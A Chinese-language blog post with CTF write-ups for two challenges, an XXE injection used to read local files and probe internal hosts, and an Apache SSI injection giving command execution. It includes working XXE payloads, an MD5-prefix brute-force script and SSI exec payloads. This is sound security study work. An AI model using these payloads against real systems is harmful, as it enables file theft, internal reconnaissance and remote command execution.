2021-02-15

46 篇文章 0 订阅
本文详细讲述了如何利用XXE漏洞进行攻击,从读取flag到内网探测的过程,包括payload构造、不同协议的尝试、PHP远程命令执行及Apache SSI漏洞利用。涉及的知识点包括XML External Entity Injection (XXE),文件读取,PHP文件操作,以及内网主机发现。
摘要由CSDN通过智能技术生成

[NCTF2019]True XML cookbook

考查知识点

  • xxe注入攻击
  • xxe内网探测

基础知识点
XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
在这里插入图片描述
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

在这里插入图片描述
启动环境:在这里插入图片描述

提交抓包发现是xxe:Content-Type: application/xml;charset=utf-8
在这里插入图片描述

先拿XXE漏洞poc读/flag
构造payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
  <username>&file;</username>
  <password>hack</password>
</user>

在这里插入图片描述
flag并不在这里,那读一下他的源码在这里插入图片描述
发现file协议读没用,换php协议读
(不同程序支持的协议不一样)在这里插入图片描述

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM  "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
  <username>&file;</username>
  <password>hack</password>
</user>

成功读取
在这里插入图片描述
base64解码后

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

没看出啥,搜了一波资料,发现可以xxe可以打内网在这里插入图片描述
在这里插入图片描述
尝试无果
读一下用户信息在这里插入图片描述
读取历史命令发现失败在这里插入图片描述
没啥用,原来xxe利用的方式还有许多,比如下面就要用到的,访问内网中的主机,先使用file读取etc/hosts的内容,查看存活主机

在这里插入图片描述
访问主机,发现没有,那就bp跑存活主机在这里插入图片描述
在这里插入图片描述发现一台主机,直接有flag

参考【技术分享】XXE漏洞攻防之我见

未知攻焉知防——XXE漏洞攻防

xxe漏洞的学习与利用总结

[BJDCTF2020]EasySearch

考点:

  • Apache SSI 远程命令执行
  • shtml文件

启动环境:在这里插入图片描述
一个登录框,尝试了弱密码与万能密码,均无结果,继续对题目进行信息收集,扫描一下后台,最后用御剑扫描到了index.php.swp
进去是一段源代码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。在这里插入图片描述
首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:

import hashlib

for i in range(1, 100000000):
    res = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if res[:6] == '6d0bc1':
        print(i, res)

运行程序,得到结果:在这里插入图片描述
尝试使用2020666作为密码登陆,并使用BurpSuite抓取数据包:在这里插入图片描述使用Repeater发送数据包后,得到回显:在这里插入图片描述
其中头信息中包含:Url_is_here: public/74bfe34b339a9de8d46a3b4654bb25a385fdf43d.shtml,访问该文件:在这里插入图片描述
可以看到回显了用户名

得到刚刚登陆的信息,经过查阅资料,shtml文件表示服务器当前开启了SSI与CGI支持,可以使用<!--#exec cmd=”id” -->语法执行命令
Apache SSI 远程命令执行漏洞复现

SSI注入漏洞

看到shtml,想到Apache SSI 远程命令执行漏洞 Apache SSI 远程命令执行漏洞复现
题目中username被写入了shtml文件,所以将其值修改为:<!--#exec cmd=”id” -->:在这里插入图片描述发送数据包,访问shtml页面,得到回显:在这里插入图片描述
证明命令可以成功执行
使用ls查到flag文件的位置后,
查找到flag在…/也就是上一级目录下在这里插入图片描述
构造payload:
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

访问返回的shtml文件地址,得到flag:在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值